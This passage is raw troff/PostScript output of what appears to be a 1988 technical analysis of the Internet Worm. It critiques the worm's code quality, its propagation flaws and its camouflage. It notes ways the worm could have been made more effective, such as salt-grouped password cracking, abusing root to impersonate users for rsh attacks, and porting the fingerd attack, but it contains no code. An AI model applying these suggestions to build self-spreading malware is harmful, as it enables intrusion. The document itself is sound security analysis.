3238(were)S
3496(done)S
3756(as)S
3894(linear)S
4190(passes)S
4517(through)S
4906(the)S
6432 V
720(appropriate)S
1259(list.)S
1497(Some)S
1789(of)S
1921(these)S
2187(lists)S
2407(could)S
2692(get)S
2867(quite)S
3128(long)S
3365(and)S
3565(doubtless)S
4023(that)S
4230(considerable)S
4825(CPU)S
6562 V
720(time)S
959(was)S
1172(spent)S
1447(by)S
1600(the)S
1777(Worm)S
2100(just)S
2302(maintaining)S
2870(and)S
3070(searching)S
3531(these)S
3798(lists.)S
4080(A)S
4201(little)S
4446(extra)S
4706(code)S
4954(to)S
6692 V
720(implement)S
1235(hash)S
1481(buckets)S
1861(or)S
1997(some)S
2274(form)S
2532(of)S
2668(sorted)S
2981(lists)S
3205(would)S
3525(have)S
3776(added)S
4082(little)S
4330(overhead)S
4775(to)S
4906(the)S
6822 V
720(program,)S
1158(yet)S
1331(made)S
1607(it)S
1708(much)S
1991(more)S
2255(e)S
2303 H
	(f)show 11 -.5 mul h (\256)show
11 R
2395(cient)S
2647(\(and)S
2880(thus)S
3103(quicker)S
3470(to)S
3594(infect)S
3881(other)S
4144(hosts)S
4409(and)S
4605(less)S
4808(obvi-)S
6952 V
720(ous)S
910(to)S
1033(system)S
1376(watchers\).)S
1898(Linear)S
2220(lists)S
2436(may)S
2662(be)S
2802(easy)S
3034(to)S
3158(code,)S
3430(but)S
3609(any)S
3805(experienced)S
4370(programmer)S
4949(or)S
7082 V
720(advanced)S
1170(CS)S
1344(student)S
1700(should)S
2032(be)S
2173(able)S
2392(to)S
2515(implement)S
3023(a)S
3108(hash)S
3346(table)S
3596(or)S
3724(lists)S
3940(of)S
4068(hash)S
4306(buckets)S
4678(with)S
4911(lit-)S
7212 V
720(tle)S
863(di)S
949 H
	(f)show 11 -.5 mul h (\256)show
11 R
1041(culty.)S
7920 V
EP
%%Page: 22 23
BP
/slant 0 def
/height 1.000000 def
11 R
11 R
490 V
2756(- 22 -)S
850 V
970(Some)S
1269(e)S
1317 H
	(f)show 11 -.5 mul h (f)show
11 R
1384(ort)S
1554(was)S
1772(duplicated)S
2277(in)S
2411(spots.)S
2747(An)S
2929(example)S
3349(of)S
3489(this)S
3698(was)S
3917(in)S
4052(the)S
4235(code)S
4490(that)S
4704(tried)S
4954(to)S
980 V
720(break)S
998(passwords.)S
1552(Even)S
1813(if)S
1916(the)S
2086(password)S
2536(to)S
2657(an)S
2795(account)S
3170(had)S
3363(been)S
3604(found)S
3895(in)S
4016(an)S
4154(earlier)S
4467(stage)S
4727(of)S
4853(exe-)S
1110 V
720(cution,)S
1067(the)S
1245(Worm)S
1569(would)S
1888(encrypt)S
2260(every)S
2546(word)S
2815(in)S
2945(the)S
3123(dictionary)S
3612(and)S
3814(attempt)S
4188(a)S
4281(match)S
4594(against)S
4950(it.)S
1240 V
720(Similar)S
1078(redundancy)S
1621(can)S
1805(be)S
1941(found)S
2230(in)S
2349(the)S
2516(code)S
2755(to)S
2874(construct)S
3309(the)S
3476(lists)S
3688(of)S
3812(hosts)S
4072(to)S
4191(infect.)S
1406 V
970(There)S
1261(are)S
1430(locations)S
1864(in)S
1987(the)S
2158(code)S
2401(where)S
2704(it)S
2803(appears)S
3173(that)S
3375(the)S
3546(author\(s\))S
3978(meant)S
4284(to)S
4408(execute)S
4779(a)S
4865(par-)S
1536 V
720(ticular)S
1043(function)S
1452(but)S
1635(used)S
1878(the)S
2054(wrong)S
2376(invocation.)S
2943(The)S
3155(use)S
3343(of)S
3476(the)S
3652(UDP)S
3914(send)S
4157(on)S
4309(a)S
4399(TCP)S
4644(socket)S
4966(is)S
1666 V
720(one)S
912(glaring)S
1257(example.)S
1723(Another)S
2116(example)S
2521(is)S
2629(at)S
2742(the)S
2910(beginning)S
3384(of)S
3510(the)S
3679(program)S
4085(where)S
4386(the)S
4555(code)S
4796(sends)S
1796 V
720(a)S
807(KILL)S
1095(signal)S
1396(to)S
1520(its)S
1663(parent)S
1974(process.)S
2401(The)S
2609(surrounding)S
3178(code)S
3422(gives)S
3692(strong)S
4005(indication)S
4483(that)S
4686(the)S
4858(user)S
1926 V
720(actually)S
1100(meant)S
1401(to)S
1520(do)S
1663(a)S
11 I
1744(killpg)S
11 R
2028(instead)S
2372(but)S
2546(used)S
2780(the)S
2947(wrong)S
3260(call.)S
2092 V
970(The)S
1179(one)S
1376(section)S
1727(of)S
1858(code)S
2104(that)S
2309(appears)S
2682(particularly)S
3227(well-thought-out)S
4006(involves)S
4419(the)S
11 I
4593(crypt)S
11 R
4858(rou-)S
2222 V
720(tines)S
963(used)S
1199(to)S
1320(check)S
1609(passwords.)S
2162(As)S
2319(has)S
2500(been)S
2740(noted)S
3018(in[Seel88],)S
3537(this)S
3731(code)S
3971(is)S
4079(nine)S
4302(times)S
4575(faster)S
4851(than)S
2352 V
720(the)S
900(standard)S
1317(Berkeley)S
11 I
1758(crypt)S
11 R
2029(function.)S
2502(Many)S
2804(interesting)S
3314(modi\256cations)S
3960(were)S
4217(made)S
4501(to)S
4634(the)S
4815(algo-)S
2482 V
720(rithm,)S
1024(and)S
1219(the)S
1390(routines)S
1781(do)S
1928(not)S
2106(appear)S
2433(to)S
2556(have)S
2799(been)S
3042(written)S
3390(by)S
3537(the)S
3708(same)S
3970(author)S
4287(as)S
4415(the)S
4585(rest)S
4779(of)S
4906(the)S
2612 V
720(code.)S
1066(Additionally,)S
1730(the)S
1943(routines)S
2377(involved)S
2842(have)S
3128(some)S
3440(support)S
3850(for)S
4057(both)S
4333(encryption)S
4882(and)S
2742 V
720(decryption\320even)S
1540(though)S
1881(only)S
2112(encryption)S
2616(was)S
2821(needed)S
3165(for)S
3326(the)S
3494(Worm.)S
3869(This)S
4099(supports)S
4506(the)S
4674(assump-)S
2872 V
720(tion)S
945(that)S
1163(this)S
1376(routine)S
1740(was)S
1964(written)S
2329(by)S
2493(someone)S
2937(other)S
3216(than)S
3459(the)S
3647(author\(s\))S
4096(of)S
4241(the)S
4429(program,)S
4882(and)S
3002 V
720(included)S
1134(with)S
1366(this)S
1562(code.)S
1865(It)S
1967(would)S
2277(be)S
2415(interesting)S
2914(to)S
3035(discover)S
3441(where)S
3742(this)S
3937(code)S
4178(originated)S
4658(and)S
4851(how)S
3132 V
720(it)S
815(came)S
1078(to)S
1197(be)S
1333(in)S
1452(the)S
1619(Worm)S
1932(program.)S
3298 V
970(The)S
1188(program)S
1607(could)S
1900(have)S
2155(been)S
2410(much)S
2703(more)S
2977(virulent)S
3368(had)S
3575(the)S
3758(author\(s\))S
4202(been)S
4457(more)S
4731(experi-)S
3428 V
720(enced)S
1032(or)S
1181(less)S
1404(rushed)S
1754(in)S
1898(her/his)S
2255(coding.)S
2673(However,)S
3159(it)S
3279(seems)S
3605(likely)S
3914(that)S
4137(this)S
4355(code)S
4619(had)S
4834(been)S
3558 V
720(developed)S
1221(over)S
1466(a)S
1565(long)S
1812(period)S
2143(of)S
2285(time,)S
2560(so)S
2709(the)S
2894(only)S
3141(conclusion)S
3668(that)S
3884(can)S
4086(be)S
4240(drawn)S
4564(is)S
4689(that)S
4906(the)S
3688 V
720(author\(s\))S
1150(was)S
1355(sloppy)S
1684(or)S
1810(careless)S
2190(\(or)S
2352(both\),)S
2647(and)S
2840(perhaps)S
3215(that)S
3415(the)S
3584(release)S
3920(of)S
4045(the)S
4213(Worm)S
4527(was)S
4731(prema-)S
3818 V
720(ture.)S
4078 V
11 B
720(6.2.)S
952(Problems)S
1430(of)S
1554(Functionality)S
4244 V
11 R
970(There)S
1263(is)S
1376(little)S
1618(argument)S
2071(that)S
2275(the)S
2448(program)S
2858(was)S
3067(functional.)S
3612(In)S
3742(fact,)S
3972(we)S
4138(all)S
4287(wish)S
4534(it)S
4636(had)S
4834(been)S
4374 V
720(less)S
926(capable!)S
1369(However,)S
1838(we)S
2006(are)S
2179(lucky)S
2464(in)S
2591(the)S
2765(sense)S
3042(that)S
3247(the)S
3421(program)S
3832(had)S
4030(\257aws)S
4302(that)S
4507(prevented)S
4978(it)S
4504 V
720(from)S
978(operating)S
1437(to)S
1568(the)S
1747(fullest.)S
2128(For)S
2326(instance,)S
2758(because)S
3148(of)S
3284(an)S
3432(error,)S
3716(the)S
3895(code)S
4146(would)S
4467(fail)S
4659(to)S
4791(infect)S
4634 V
720(hosts)S
980(on)S
1123(a)S
1204(local)S
1450(area)S
1663(network)S
2055(even)S
2294(though)S
2633(it)S
2728(might)S
3019(identify)S
3394(such)S
3628(hosts.)S
4800 V
970(Another)S
1367(example)S
1776(of)S
1905(restricted)S
2351(functionality)S
2952(concerns)S
3379(the)S
3552(gathering)S
4005(of)S
4135(hostnames)S
4638(to)S
4763(infect.)S
4930 V
720(As)S
883(noted)S
1168(already,)S
1558(the)S
1732(code)S
1978(failed)S
2267(to)S
2393(gather)S
2706(host)S
2930(names)S
3250(from)S
3503(user)S
11 I
3725(.rhosts)S
11 R
4063(\256les)S
4287(early)S
4545(on.)S
4756(It)S
4863(also)S
5060 V
720(did)S
904(not)S
1088(attempt)S
1461(to)S
1590(collect)S
1925(host)S
2152(names)S
2475(from)S
2732(other)S
3001(user)S
3227(and)S
3429(system)S
3779(\256les)S
4007(containing)S
4515(such)S
4760(names)S
5190 V
720(\(e.g.,)S
976(/etc/hosts.lpd\).)S
5356 V
970(Many)S
1267(of)S
1399(the)S
1574(operations)S
2072(could)S
2357(have)S
2604(been)S
2851(done)S
3105(``smarter.'')S
3646(The)S
3857(case)S
4086(of)S
4219(using)S
4500(linear)S
4791(struc-)S
5486 V
720(tures)S
969(has)S
1151(already)S
1507(been)S
1748(mentioned.)S
2308(Another)S
2702(example)S
3108(would)S
3418(have)S
3659(been)S
3900(to)S
4021(sort)S
4221(user)S
4438(passwords)S
4930(by)S
5616 V
720(the)S
11 I
889(salt)S
11 R
1084(used.)S
1381(If)S
1488(the)S
1657(same)S
1917(salt)S
2106(was)S
2312(present)S
2664(in)S
2786(more)S
3047(than)S
3272(one)S
3466(password,)S
3944(then)S
4169(all)S
4315(those)S
4583(passwords)S
5746 V
720(could)S
1023(be)S
1185(checked)S
1601(in)S
1746(parallel)S
2133(as)S
2282(a)S
2388(single)S
2709(pass)S
2956(was)S
3184(made)S
3479(through)S
3879(the)S
4071(dictionaries.)S
4702(On)S
4894(our)S
5876 V
720(machine,)S
1152(5%)S
1331(of)S
1455(the)S
1622(200)S
1820(passwords)S
2310(share)S
2573(the)S
2740(same)S
2998(salts,)S
3255(for)S
3415(instance.)S
6042 V
970(No)S
1151(special)S
1502(advantage)S
1992(was)S
2209(taken)S
2494(if)S
2609(the)S
2791(root)S
3016(password)S
3478(was)S
3696(compromised.)S
4403(Once)S
4681(the)S
4863(root)S
6172 V
720(password)S
1169(has)S
1350(been)S
1591(broken,)S
1958(it)S
2055(is)S
2164(possible)S
2559(to)S
2679(fork)S
2895(children)S
3288(that)S
3487(set)S
3643(their)S
3878(uid)S
4053(and)S
4245(environment)S
4834(vari-)S
6302 V
720(ables)S
1011(to)S
1163(match)S
1497(each)S
1762(designated)S
2297(user.)S
2606(These)S
2933(processes)S
3418(could)S
3728(then)S
3983(attempt)S
4379(the)S
4579(rsh)S
4779(attack)S
6432 V
720(described)S
1172(earlier)S
1483(in)S
1602(this)S
1795(report.)S
2150(Instead,)S
2527(root)S
2737(is)S
2844(treated)S
3174(as)S
3298(any)S
3489(other)S
3747(account.)S
6598 V
970(It)S
1076(has)S
1261(been)S
1506(suggested)S
1978(to)S
2103(me)S
2276(that)S
2480(this)S
2679(treatment)S
3132(of)S
3262(root)S
3478(may)S
3706(have)S
3951(been)S
4196(a)S
4283(conscious)S
4755(choice)S
6728 V
720(of)S
845(the)S
1013(Worm)S
1327(author\(s\).)S
1817(Without)S
2212(knowing)S
2630(the)S
2797(true)S
3000(motivation)S
3511(of)S
3635(the)S
3802(author,)S
4143(this)S
4336(is)S
4443(impossible)S
4954(to)S
6858 V
720(decide.)S
1103(However,)S
1568(considering)S
2117(the)S
2288(design)S
2612(and)S
2808(intent)S
3097(of)S
3226(the)S
3398(program,)S
3835(I)S
3909(\256nd)S
4119(it)S
4219(di)S
4305 H
	(f)show 11 -.5 mul h (\256)show
11 R
4397(cult)S
4600(to)S
4724(believe)S
6988 V
720(that)S
918(such)S
1152(exploitation)S
1711(would)S
2019(have)S
2258(been)S
2497(omitted)S
2867(if)S
2967(the)S
3134(author)S
3447(had)S
3638(thought)S
4008(of)S
4132(it.)S
7154 V
970(The)S
1180(same)S
1445(attack)S
1746(used)S
1987(on)S
2137(the)S
2311(\256nger)S
2607(daemon)S
2994(could)S
3278(have)S
3524(been)S
3770(extended)S
4205(to)S
4331(the)S
4505(Sun)S
4717(version)S
7284 V
720(of)S
851(the)S
1025(program,)S
1464(but)S
1645(was)S
1855(not.)S
2097(The)S
2307(only)S
2543(explanations)S
3138(that)S
3343(come)S
3620(to)S
3745(mind)S
4011(why)S
4239(this)S
4438(was)S
4647(not)S
4827(done)S
7920 V
EP
%%Page: 23 24
BP
/slant 0 def
/height 1.000000 def
11 R
11 R
490 V
2756(- 23 -)S
850 V
720(are)S
886(that)S
1085(the)S
1253(author)S
1567(lacked)S
1886(the)S
2054(motivation,)S
2595(the)S
2764(ability,)S
3109(the)S
3278(time,)S
3537(or)S
3663(the)S
3832(resources)S
4279(to)S
4400(develop)S
4782(a)S
4865(ver-)S
980 V
720(sion)S
956(for)S
1135(the)S
1321(Sun.)S
1606(However,)S
2086(at)S
2217(a)S
2317(recent)S
2635(meeting,)S
3068(Professor)S
3533(Rick)S
3792(Rashid)S
4149(of)S
4291(Carnegie-Mellon)S
1110 V
720(University)S
1235(was)S
1456(heard)S
1749(to)S
1886(claim)S
2181(that)S
2397(Robert)S
2748(T.)S
2928(Morris,)S
3307(the)S
3493(alleged)S
3861(author)S
4193(of)S
4336(the)S
4522(Worm,)S
4882(had)S
1240 V
720(revealed)S
1126(the)S
11 I
1297(fingerd)S
11 R
1652(bug)S
1854(to)S
1977(system)S
2320(administrative)S
2986(sta)S
3108 H
	(f)show 11 -.5 mul h (f)show
11 R
3212(at)S
3328(CMU)S
3616(well)S
3842(over)S
4073(a)S
4159(year)S
4384(ago.)S
1204 V
9 R
4570(16)S
1240 V
11 R
4698(Assum-)S
1370 V
720(ing)S
895(this)S
1089(report)S
1384(is)S
1492(correct)S
1828(and)S
2020(the)S
2188(Worm)S
2502(author)S
2816(is)S
2924(indeed)S
3249(Mr.)S
3477(Morris,)S
3837(it)S
3932(is)S
4039(obvious)S
4421(that)S
4619(there)S
4870(was)S
1500 V
720(su)S
818 H
	(f)show 11 -.5 mul h (\256)show
11 R
910(cient)S
1166(time)S
1405(to)S
1534(construct)S
1979(a)S
2070(Sun)S
2285(version)S
2651(of)S
2785(the)S
2962(code.)S
3272(I)S
3351(asked)S
3643(three)S
3904(Purdue)S
4259(graduate)S
4679(students)S
1630 V
720(\(Shawn)S
1090(D.)S
1232(Ostermann,)S
1776(Steve)S
2055(J.)S
2161(Chapin,)S
2542(and)S
2735(Jim)S
2930(N.)S
3072(Gri)S
3218 H
	(f)show 11 -.5 mul h (\256)show
11 R
3310(oen\))S
3539(to)S
3660(develop)S
4042(a)S
4125(Sun)S
4332(3)S
4422(version)S
4780(of)S
4906(the)S
1760 V
720(attack,)S
1047(and)S
1243(they)S
1470(did)S
1649(so)S
1785(in)S
1909(under)S
2196(three)S
2453(hours.)S
2797(The)S
3006(Worm)S
3325(author)S
3644(certainly)S
4066(must)S
4320(have)S
4565(had)S
4762(access)S
1890 V
720(to)S
848(Suns)S
1105(or)S
1238(else)S
1450(he)S
1595(would)S
1912(not)S
2095(have)S
2343(been)S
2591(able)S
2815(to)S
2943(provide)S
3320(Sun)S
3533(binaries)S
3921(to)S
4048(accompany)S
4587(the)S
4762(opera-)S
2020 V
720(tional)S
1009(Worm.)S
1388(Motivation)S
1916(should)S
2248(also)S
2463(not)S
2642(be)S
2783(a)S
2869(factor)S
3161(considering)S
3711(everything)S
4218(else)S
4426(present)S
4781(in)S
4906(the)S
2150 V
720(program.)S
1195(With)S
1458(time)S
1697(and)S
1898(resources)S
2353(available,)S
2819(the)S
2996(only)S
3235(reason)S
3563(I)S
3642(cannot)S
3977(immediately)S
4570(rule)S
4783(out)S
4966(is)S
2280 V
720(that)S
932(he)S
1082(lacked)S
1414(the)S
1595(knowledge)S
2123(of)S
2261(how)S
2497(to)S
2631(implement)S
3150(a)S
3246(Sun)S
3466(version)S
3837(of)S
3976(the)S
4158(attack.)S
4528(This)S
4772(seems)S
2410 V
720(unlikely,)S
1154(but)S
1340(given)S
1629(the)S
1808(inconsistent)S
2379(nature)S
2697(of)S
2833(the)S
3012(rest)S
3215(of)S
3351(the)S
3530(code,)S
3808(it)S
3914(is)S
4032(certainly)S
4459(a)S
4551(possibility.)S
2540 V
720(However,)S
1188(if)S
1295(this)S
1495(is)S
1609(the)S
1783(case,)S
2038(it)S
2141(raises)S
2431(a)S
2520(new)S
2743(question:)S
3188(was)S
3399(the)S
3574(author)S
3895(of)S
4027(the)S
4202(Worm)S
4523(the)S
4698(original)S
2670 V
720(author)S
1033(of)S
1157(the)S
1324(V)S
9 R
1403(AX)S
11 I
1566(fingerd)S
11 R
1917(attack?)S
2836 V
970(Perhaps)S
1353(the)S
1523(most)S
1774(obvious)S
2160(shortcoming)S
2747(of)S
2875(the)S
3046(code)S
3289(is)S
3400(the)S
3571(lack)S
3790(of)S
3918(understanding)S
4577(about)S
4858(pro-)S
2966 V
720(pagation)S
1132(and)S
1324(load.)S
1608(The)S
1812(reason)S
2131(the)S
2299(Worm)S
2613(was)S
2817(spotted)S
3169(so)S
3301(quickly)S
3664(and)S
3855(caused)S
4185(so)S
4316(much)S
4593(disruption)S
3096 V
720(was)S
923(because)S
1301(it)S
1396(replicated)S
1860(itself)S
2114(exponentially)S
2746(on)S
2890(some)S
3156(networks,)S
3620(and)S
3812(because)S
4191(each)S
4424(Worm)S
4738(carried)S
3226 V
720(no)S
876(history)S
1228(with)S
1470(it.)S
1639(Admittedly,)S
2215(there)S
2479(was)S
2695(a)S
2789(check)S
3088(in)S
3219(place)S
3494(to)S
3625(see)S
3809(if)S
3921(the)S
4100(current)S
4454(machine)S
4870(was)S
3356 V
720(already)S
1077(infected,)S
1493(but)S
1670(one)S
1864(out)S
2041(of)S
2168(every)S
2446(seven)S
2731(Worms)S
3090(would)S
3401(never)S
3679(die)S
3849(even)S
4091(if)S
4194(there)S
4449(was)S
4656(an)S
4796(exist-)S
3486 V
720(ing)S
901(infestation.)S
1466(Furthermore,)S
2082(Worms)S
2445(marked)S
2813(for)S
2980(self-destruction)S
3702(would)S
4016(continue)S
4433(to)S
4558(execute)S
4930(up)S
3616 V
720(to)S
866(the)S
1060(point)S
1347(of)S
1498(having)S
1857(made)S
2154(at)S
2293(least)S
2554(one)S
2772(complete)S
3234(pass)S
3483(through)S
3885(the)S
4079(password)S
4554(\256le.)S
4784(Many)S
3746 V
720(approaches)S
1251(could)S
1535(have)S
1781(been)S
2027(taken)S
2304(by)S
2454(the)S
2628(author\(s\))S
3063(to)S
3189(slow)S
3437(the)S
3610(growth)S
3960(of)S
4090(the)S
4263(Worm)S
4582(or)S
4712(prevent)S
3876 V
720(reinfestation;)S
1336(little)S
1576(is)S
1687(to)S
1810(be)S
1950(gained)S
2279(from)S
2529(explaining)S
3030(them)S
3287(here,)S
3539(but)S
3717(their)S
3955(absence)S
4337(from)S
4588(the)S
4760(Worm)S
4006 V
720(program)S
1140(is)S
1263(telling.)S
1655(Either)S
1972(the)S
2155(author\(s\))S
2599(did)S
2789(not)S
2979(have)S
3234(any)S
3441(understanding)S
4111(of)S
4250(how)S
4487(the)S
4669(program)S
4136 V
720(would)S
1033(propagate,)S
1530(or)S
1659(else)S
1867(she/he/they)S
2405(did)S
2584(not)S
2763(care;)S
3012(the)S
3184(existence)S
3629(in)S
3753(the)S
3925(Worm)S
4243(of)S
4372(mechanisms)S
4954(to)S
4266 V
720(limit)S
963(growth)S
1307(tends)S
1572(to)S
1691(indicate)S
2071(that)S
2269(it)S
2364(was)S
2567(a)S
2648(lack)S
2863(of)S
2987(understanding)S
3642(rather)S
3929(than)S
4151(indi)S
4323 H
	(f)show 11 -.5 mul h (f)show
11 R
4390(erence.)S
4432 V
970(Some)S
1265(of)S
1400(the)S
1578(algorithms)S
2093(used)S
2338(by)S
2493(the)S
2672(Worm)S
2997(were)S
3253(reasonably)S
3772(clever.)S
4144(One)S
4371(in)S
4502(particular)S
4966(is)S
4562 V
720(interesting)S
1229(to)S
1360(note:)S
1625(when)S
1907(trying)S
2215(passwords)S
2717(from)S
2974(the)S
3152(built-in)S
3521(list,)S
3729(or)S
3864(when)S
4145(trying)S
4452(to)S
4582(break)S
4868(into)S
4692 V
720(connected)S
1199(hosts,)S
1491(the)S
1662(Worm)S
1979(would)S
2291(randomize)S
2790(the)S
2961(list)S
3134(of)S
3262(candidates)S
3761(for)S
3925(trial.)S
4200(Thus,)S
4485(if)S
4589(more)S
4851(than)S
4822 V
720(one)S
917(Worm)S
1236(were)S
1486(present)S
1841(on)S
1990(the)S
2163(local)S
2414(machine,)S
2851(they)S
3078(would)S
3391(be)S
3532(more)S
3795(likely)S
4084(to)S
4208(try)S
4368(candidates)S
4868(in)S
4992(a)S
4952 V
720(di)S
806 H
	(f)show 11 -.5 mul h (f)show
11 R
873(erent)S
1135(order,)S
1437(thus)S
1665(maximizing)S
2235(their)S
2480(coverage.)S
2979(This)S
3220(implies,)S
3618(however)S
4039(\(as)S
4211(does)S
4457(the)S
4636(action)S
4949(of)S
5082 V
720(the)S
894(pleasequit)S
1379(variable\))S
1806(that)S
2010(the)S
2183(author\(s\))S
2617(was)S
2826(not)S
3006(overly)S
3325(concerned)S
3812(with)S
4047(the)S
4220(presence)S
4640(of)S
4770(multi-)S
5212 V
720(ple)S
890(Worms)S
1249(on)S
1395(the)S
1565(same)S
1826(machine.)S
2294(More)S
2567(to)S
2689(the)S
2859(point,)S
3150(multiple)S
3555(Worms)S
3915(were)S
4163(allowed)S
4547(for)S
4711(a)S
4796(while)S
5342 V
720(in)S
846(an)S
989(e)S
1037 H
	(f)show 11 -.5 mul h (f)show
11 R
1104(ort)S
1266(to)S
1392(maximize)S
1865(the)S
2039(spread)S
2364(of)S
2495(the)S
2669(infection.)S
3160(This)S
3396(also)S
3613(supports)S
4026(the)S
4199(contention)S
4702(that)S
4906(the)S
5472 V
720(author)S
1033(did)S
1207(not)S
1381(understand)S
1895(the)S
2062(propagation)S
2619(or)S
2743(load)S
2965(e)S
3013 H
	(f)show 11 -.5 mul h (f)show
11 R
3080(ects)S
3283(of)S
3407(the)S
3574(Worm.)S
5638 V
970(The)S
1188(design)S
1523(of)S
1662(the)S
1844(vector)S
2165(program,)S
2612(the)S
2794(``thinning'')S
3354(protocol,)S
3797(and)S
4004(the)S
4187(use)S
4382(of)S
4522(the)S
4705(internal)S
5768 V
720(state)S
958(machine)S
1366(were)S
1614(all)S
1761(clever)S
2064(and)S
2258(non-obvious.)S
2905(The)S
3111(overall)S
3451(structure)S
3870(of)S
3997(the)S
4167(program,)S
4602(especially)S
5898 V
720(the)S
894(code)S
1140(associated)S
1630(with)S
1866(IP)S
2004(addresses,)S
2491(indicates)S
2921(considerable)S
3514(knowledge)S
4035(of)S
4166(networking)S
4707(and)S
4906(the)S
6028 V
720(routines)S
1118(available)S
1557(to)S
1687(support)S
2060(it.)S
2226(The)S
2439(knowledge)S
2963(evidenced)S
3449(by)S
3602(that)S
3810(code)S
4059(would)S
4377(indicate)S
4767(exten-)S
6158 V
720(sive)S
936(experience)S
1447(with)S
1683(networking)S
2223(facilities.)S
2702(This,)S
2966(coupled)S
3353(with)S
3589(some)S
3861(of)S
3992(the)S
4166(errors)S
4460(in)S
4586(the)S
4760(Worm)S
6288 V
720(code)S
994(related)S
1359(to)S
1513(networking,)S
2109(further)S
2474(support)S
2872(the)S
3074(thesis)S
3393(that)S
3626(the)S
3828(author)S
4176(was)S
4414(not)S
4623(a)S
4738(careful)S
6418 V
720(programmer\320the)S
1573(errors)S
1895(in)S
2049(those)S
2349(parts)S
2630(of)S
2789(the)S
2991(code)S
3265(were)S
3544(probably)S
4002(not)S
4212(errors)S
4535(because)S
4949(of)S
6548 V
720(ignorance)S
1184(or)S
1308(inexperience.)S
6942 V
9 Y1
720(3333333333333333)S
7042 V
7 R
820(16)S
7070 V
9 R
935(Private)S
1217(communication)S
1804(from)S
2006(someone)S
2353(present)S
2640(at)S
2732(the)S
2869(meeting.)S
7920 V
EP
%%Page: 24 25
BP
/slant 0 def
/height 1.000000 def
9 R
9 R
490 V
11 R
2756(- 24 -)S
850 V
11 B
720(6.3.)S
952(Camou\257age)S
1016 V
11 R
970(Great)S
1247(care)S
1462(was)S
1668(taken)S
1941(to)S
2063(prevent)S
2427(the)S
2597(Worm)S
2913(program)S
3320(from)S
3569(being)S
3849(stopped.)S
4288(This)S
4520(can)S
4707(be)S
4846(seen)S
1146 V
720(by)S
872(the)S
1048(caution)S
1413(with)S
1651(which)S
1961(new)S
2185(\256les)S
2410(were)S
2662(introduced)S
3172(into)S
3385(a)S
3474(machine,)S
3914(including)S
4371(the)S
4546(use)S
4733(of)S
4865(ran-)S
1276 V
720(dom)S
969(challenges.)S
1545(It)S
1665(can)S
1869(be)S
2025(seen)S
2272(by)S
2435(the)S
2622(fact)S
2839(that)S
3058(every)S
3354(string)S
3659(compiled)S
4122(into)S
4348(the)S
4536(Worm)S
4870(was)S
1406 V
720(encrypted)S
1189(to)S
1313(prevent)S
1679(simple)S
2010(examination.)S
2651(It)S
2755(was)S
2962(evidenced)S
3442(by)S
3589(the)S
3760(care)S
3977(with)S
4210(which)S
4515(\256les)S
4736(associ-)S
1536 V
720(ated)S
945(with)S
1184(the)S
1362(Worm)S
1686(were)S
1941(deleted)S
2301(from)S
2558(disk)S
2786(at)S
2909(the)S
3087(earliest)S
3447(opportunity,)S
4033(and)S
4235(the)S
4413(corresponding)S
1666 V
720(contents)S
1124(were)S
1373(encrypted)S
1842(in)S
1966(memory)S
2370(when)S
2644(loaded.)S
3034(It)S
3138(was)S
3345(evidenced)S
3825(by)S
3972(the)S
4143(continual)S
4589(forking)S
4949(of)S
1796 V
720(the)S
887(process,)S
1276(and)S
1467(the)S
1634(\(faulty\))S
1995(check)S
2282(for)S
2442(other)S
2700(instances)S
3135(of)S
3259(the)S
3426(Worm)S
3739(on)S
3882(the)S
4049(local)S
4295(host.)S
1962 V
970(The)S
1182(code)S
1430(also)S
1650(evidences)S
2124(precautions)S
2672(against)S
3026(providing)S
3497(copies)S
3820(of)S
3954(itself)S
4217(to)S
4346(anyone)S
4705(seeking)S
2092 V
720(to)S
844(stop)S
1066(the)S
1237(Worm.)S
1615(It)S
1719(sets)S
1921(its)S
2063(resource)S
2469(limits)S
2759(so)S
2894(it)S
2993(cannot)S
3322(dump)S
3610(a)S
3695(core)S
3919(\256le,)S
4125(and)S
4320(it)S
4419(keeps)S
4705(internal)S
2222 V
720(data)S
952(encrypted)S
1433(until)S
1686(used.)S
1998(Luckily,)S
2418(there)S
2686(are)S
2868(other)S
3143(methods)S
3567(of)S
3709(obtaining)S
4176(core)S
4414(\256les)S
4649(and)S
4858(data)S
2352 V
720(images,)S
1098(and)S
1295(researchers)S
1823(were)S
2073(able)S
2294(to)S
2419(obtain)S
2733(all)S
2882(the)S
3055(information)S
3613(they)S
3841(needed)S
4189(to)S
4313(disassemble)S
4882(and)S
2482 V
720(reverse-engineer)S
1481(the)S
1650(code.)S
1952(There)S
2241(is)S
2350(no)S
2495(doubt,)S
2809(however,)S
3248(that)S
3448(the)S
3618(author\(s\))S
4049(of)S
4176(the)S
4346(Worm)S
4662(intended)S
2612 V
720(to)S
839(make)S
1109(such)S
1343(a)S
1424(task)S
1634(as)S
1758(di)S
1844 H
	(f)show 11 -.5 mul h (\256)show
11 R
1936(cult)S
2134(as)S
2258(possible.)S
2872 V
11 B
720(6.4.)S
952(Speci\256c)S
1346(Comments)S
3038 V
11 R
970(Some)S
1259(more)S
1522(speci\256c)S
1895(comments)S
2385(are)S
2555(worth)S
2849(making.)S
3279(These)S
3579(are)S
3750(directed)S
4141(to)S
4266(particular)S
4724(aspects)S
3168 V
720(of)S
844(the)S
1011(code)S
1250(rather)S
1537(than)S
1759(the)S
1926(program)S
2330(as)S
2454(a)S
2535(whole.)S
3428 V
11 B
720(6.4.1.)S
1035(The)S
1252(sendmail)S
1708(attack)S
3594 V
11 R
970(Many)S
1279(sites)S
1528(tend)S
1770(to)S
1909(experience)S
2434(substantial)S
2958(loads)S
3243(because)S
3641(of)S
3785(heavy)S
4099(mail)S
4348(tra)S
4463 H
	(f)show 11 -.5 mul h (\256)show
11 R
4555(c.)S
4717(This)S
4966(is)S
3724 V
720(especially)S
1198(true)S
1408(at)S
1527(sites)S
1763(with)S
1999(mailing)S
2376(list)S
2552(exploders.)S
3079(Thus,)S
3367(the)S
3541(administrators)S
4210(at)S
4328(those)S
4599(sites)S
4834(have)S
3854 V
720(con\256gured)S
1227(their)S
1466(mailers)S
1827(to)S
1951(queue)S
2250(incoming)S
2704(mail)S
2938(and)S
3135(process)S
3502(the)S
3675(queue)S
3975(periodically.)S
4599(The)S
4808(usual)S
3984 V
720(con\256guration)S
1339(is)S
1446(to)S
1565(set)S
1720(sendmail)S
2150(to)S
2269(run)S
2448(the)S
2615(queue)S
2909(every)S
3184(30)S
3327(to)S
3446(90)S
3589(minutes.)S
4150 V
970(The)S
1175(attack)S
1471(through)S
1849(sendmail)S
2282(would)S
2593(fail)S
2775(on)S
2921(these)S
3182(machines)S
3632(unless)S
3943(the)S
4113(vector)S
4422(program)S
4829(were)S
4280 V
720(delivered)S
1169(into)S
1383(a)S
